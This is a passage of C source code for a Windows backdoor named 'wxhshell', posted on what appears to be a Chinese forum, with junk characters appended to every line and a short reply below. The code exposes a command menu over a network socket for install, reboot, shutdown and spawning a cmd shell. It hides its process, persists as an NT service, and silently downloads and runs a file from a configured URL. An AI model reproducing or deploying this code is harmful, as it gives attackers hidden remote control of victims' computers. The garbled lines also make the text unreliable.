  if(DownloadFile(cmd,wsh)) |!FQQ(1b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l/3=o}8q  
  else ^cZ< .d2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eb7UA=[Z  
  }  hh4R  
  else { L9jT :2F  
GZO:lDdA  
    switch(cmd[0]) { :E}y Pcw  
  F'MX9P  
  // 帮助 4prJ!k  
  case '?': { (uX?XX^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !h1:AW_iz  
    break; Bq$IBAot  
  } f?d5Ltg   
  // 安装 =]%,&Se  
  case 'i': { ZtZ3I?%U3  
    if(Install()) lEl.'X$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ufL s  
    else A~xw:[zy$a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =rymd3/  
    break; 0 s+X:*C~  
    } RP$u/x"b  
  // 卸载 z5gVP8*z5  
  case 'r': { UvGxA[~2+  
    if(Uninstall()) 9mxg$P4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:B/ ?E  
    else 3;buC|ky  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A+^okT37r  
    break; m 3UK`~ji  
    } M|c_P)7ym  
  // 显示 wxhshell 所在路径 uZ8-?  
  case 'p': { ~QSX 1w"  
    char svExeFile[MAX_PATH]; y pEMx'p  
    strcpy(svExeFile,"\n\r"); k.C&6*l!5;  
      strcat(svExeFile,ExeFile); } E ]l4N2  
        send(wsh,svExeFile,strlen(svExeFile),0); #b/L~Bw[  
    break; U[MeK)*  
    } xO_>%F^?  
  // 重启 HW]?%9a  
  case 'b': { q\@_L.tc[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =4`wYh  
    if(Boot(REBOOT)) umns*U%T;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1q27I  
    else { "gy&eR>  
    closesocket(wsh); hDi~{rbmc  
    ExitThread(0); 56 JQ h  
    } 6 D Xja_lp  
    break; @%fTdneH  
    } bN-!&Td  
  // 关机 ,K[e?(RP  
  case 'd': { ,KJHYm=Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G_?U?:!AC  
    if(Boot(SHUTDOWN)) S?CT6moXA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )!v"(i.5Xo  
    else { \dJhDR  
    closesocket(wsh); 4Q0ZY(2 EO  
    ExitThread(0); `(HvD] l  
    } `Pc6 G*p  
    break; :pM 8Q1:B  
    } >3p~>;9sc  
  // 获取shell E"9(CjbQ[  
  case 's': { \(Oc3+n6  
    CmdShell(wsh); HL&HY)W1gf  
    closesocket(wsh); 0)SRLHTY%  
    ExitThread(0); dV[G-p  
    break; <oJ?J^  
  } t$du|q(  
  // 退出 rO>'QZ%  
  case 'x': { /69yR   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RWv4/=}(G  
    CloseIt(wsh); ?PWg  
    break; 6YU,> KP  
    } #I?Z,;DI=  
  // 离开 ,r*Kxy  
  case 'q': { FB wG3x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9HO9>^  
    closesocket(wsh); 3F]Dh^IR9  
    WSACleanup(); @Dfg6<0  
    exit(1); rX)&U4#[m  
    break; v4hrS\M  
        } 3N$@K"qM#  
  } "LlQl3"=  
  } &(,\~  
ewd eC  
  // 提示信息 mH\zSk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i#>t<g`l  
} ^85Eveu  
  } Soq#cl'll-  
 nBp6uNK[  
  return; rwJ U;wy  
} l,lqhq\  
\_O#M   
// shell模块句柄 "<+~uz  
int CmdShell(SOCKET sock) (Ff}Y.4  
{ g,]o+nT  
STARTUPINFO si; ViiJDYT>E<  
ZeroMemory(&si,sizeof(si)); UB5H8&Rf!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q k}RcP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vm<_e  
PROCESS_INFORMATION ProcessInfo; 7(]F+\A3  
char cmdline[]="cmd"; 4ams~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jUM'f24  
  return 0; l,hOnpm9  
} U2m#BMV  
,V,mz?d^9  
// 自身启动模式 ya1 aWs~  
int StartFromService(void) (9RfsV4^  
{ 7:olStK  
typedef struct %B\x %e ;P  
{ 3as=EYm  
  DWORD ExitStatus; d eT<)'"  
  DWORD PebBaseAddress; "\EX)u9ze  
  DWORD AffinityMask; Xi%Og\vm5  
  DWORD BasePriority; lS,Jo/T@  
  ULONG UniqueProcessId; 2c]"*Pb  
  ULONG InheritedFromUniqueProcessId; Ez~5ax7x  
}   PROCESS_BASIC_INFORMATION; "7y, d%H  
*JDz0M4f  
PROCNTQSIP NtQueryInformationProcess; T='uqKW\  
4*qBu}(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )>{ .t=#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; te( H6c#0  
uCr& `  
  HANDLE             hProcess; ?D.+D(  
  PROCESS_BASIC_INFORMATION pbi; _M/N_Fm  
#?w07/~L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LH2B*8=^2  
  if(NULL == hInst ) return 0; I+H~ 5zq.  
sR1_L/.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5?;<^J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7tlK'j'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k5E2{&wZ  
3bWGWI  
  if (!NtQueryInformationProcess) return 0; cZ_)'0  
7ivo Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J{b#X"i  
  if(!hProcess) return 0; ]TT >3"Dw7  
,5v'hG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =xm7i#1  
IWu=z!mO  
  CloseHandle(hProcess); q  
'(@q"`n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZwBz\jmbP  
if(hProcess==NULL) return 0; I`{*QU  
KbLSK  
HMODULE hMod; $h p UI  
char procName[255]; nSyLt6zn\  
unsigned long cbNeeded; +]cf/_8+s  
} doAeTZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3GF67]  
eZOR{|z  
  CloseHandle(hProcess); .4^+q9M  
_aevaWtEx  
if(strstr(procName,"services")) return 1; // 以服务启动 ^}Vc||S  
}y6@YfV${  
  return 0; // 注册表启动 nDdY~f.B  
} ~'lT8 n_  
IOZw[9](+  
// 主模块 Ztmh z_u7  
int StartWxhshell(LPSTR lpCmdLine) =!q]0#  
{ F2}Fuupb.  
  SOCKET wsl; ybiTWM  
BOOL val=TRUE; buX(mj:&  
  int port=0; pF8$83S  
  struct sockaddr_in door; t$nJmfzm  
k)-+ZmMOh  
  if(wscfg.ws_autoins) Install(); |p[Mp:^^  
e-y$&[  
port=atoi(lpCmdLine); n#x_da-m]  
]%D!-[C%1  
if(port<=0) port=wscfg.ws_port; Pv5S k8  
#aL.E(%  
  WSADATA data; pRV.\*:c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P^<3 Z)L  
3%'`^<-V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e2 c'Wab  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MS;^:t1`  
  door.sin_family = AF_INET; d]e36Dwk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <8 <P,  
  door.sin_port = htons(port); V.:,Q  
S.`y%t.GP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !6=s{V&r1  
closesocket(wsl); LRHod1}mS  
return 1; ?\,;KNQr  
} 5 %\K  
!6-t_S  
  if(listen(wsl,2) == INVALID_SOCKET) { &D M3/^70  
closesocket(wsl); +:@^nPfHy  
return 1; I%r7L  
} $/"Ymm#"\Y  
  Wxhshell(wsl); @`KbzN_h/  
  WSACleanup(); S|tA%2z  
k*;U?C!  
return 0; 5%2~/ "  
fQib?g/G  
} M _< |n  
n R,QG8  
// 以NT服务方式启动 THq}>QI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >P j#?j*Y  
{ |_p7vl"  
DWORD   status = 0; T3oFgzoO  
  DWORD   specificError = 0xfffffff; e=VSO!(rY  
A x8>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >I@&"&d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e">&B]#}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]\fHc"/  
  serviceStatus.dwWin32ExitCode     = 0; pP.`+vPi  
  serviceStatus.dwServiceSpecificExitCode = 0; (9]1p;  
  serviceStatus.dwCheckPoint       = 0; |u%;"N'p)  
  serviceStatus.dwWaitHint       = 0; 1R@G7m  
#9TL5-1y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Se!w(Y&  
  if (hServiceStatusHandle==0) return; F.y_H#h  
Jf2JGTcm  
status = GetLastError(); D,.`mX  
  if (status!=NO_ERROR) #WG}"[ ,c  
{ R-zS7Jyox  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Dv*<La`\  
    serviceStatus.dwCheckPoint       = 0; \uHC9}0  
    serviceStatus.dwWaitHint       = 0; Ag0 6M U  
    serviceStatus.dwWin32ExitCode     = status; #@ HlnF}T  
    serviceStatus.dwServiceSpecificExitCode = specificError; u|wl;+.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z{3`nd,  
    return; h$`m0-'  
  } I@m(}  
Wy-_}wqHg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AAfU]4u0S  
  serviceStatus.dwCheckPoint       = 0; ,K}"o~z  
  serviceStatus.dwWaitHint       = 0; f B<Qs.T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O8#]7\)  
} t"Du  
<UO[*_,\  
// 处理NT服务事件,比如:启动、停止 ^E/6 vG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OH>Gc-V  
{ vUbgSI  
switch(fdwControl) .^A4w;jPU  
{ D,..gsg  
case SERVICE_CONTROL_STOP: dn'|~zf.  
  serviceStatus.dwWin32ExitCode = 0; Sm {Sq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VTL_I^p  
  serviceStatus.dwCheckPoint   = 0; U:~]>B $  
  serviceStatus.dwWaitHint     = 0; pSQX  
  { <[ dt2)%L>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); " TCJT390  
  } h(kPf ]0  
  return; wclj9&k  
case SERVICE_CONTROL_PAUSE: k+[oYd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J1(SL~e],  
  break; ~c v|,  
case SERVICE_CONTROL_CONTINUE: +vJ}'uR3P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g \S6>LG!  
  break; F\&wFA'J  
case SERVICE_CONTROL_INTERROGATE: 56YqYu.  
  break; ='.b/]!_  
}; 0 J"g"=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nt_Cb*K<  
} fCu;n%   
Hj`'4  
// 标准应用程序主函数 9?sY!gXc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O=}  
{ p5rq>&"  
93Gj#Mk  
// 获取操作系统版本 IIMf\JdM  
OsIsNt=GetOsVer(); < (9 BO&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %ho?KU2j  
hB<(~L? A]  
  // 从命令行安装 ghW`xm87  
  if(strpbrk(lpCmdLine,"iI")) Install(); _)pOkS  
*eXs7"H  
  // 下载执行文件 |#t^D.j  
if(wscfg.ws_downexe) { !ckluj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IX 6 jb"  
  WinExec(wscfg.ws_filenam,SW_HIDE); }Uj-R3]}K  
} HrLws95'  
_~1O#*|4  
if(!OsIsNt) { eCJtNPd  
// 如果时win9x,隐藏进程并且设置为注册表启动 <}&J|()  
HideProc(); $[HCetaqV  
StartWxhshell(lpCmdLine); w$s6NBF7  
} IV1O/lGp  
else '%e@7Cs  
  if(StartFromService()) )Dv;,t  
  // 以服务方式启动 66B,Krz1n  
  StartServiceCtrlDispatcher(DispatchTable); j."V>p8u$  
else &N7q 9t  
  // 普通方式启动 Zd)LVc[  
  StartWxhshell(lpCmdLine); ,*V%  
>G?*rg4  
return 0; .0/"~5  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八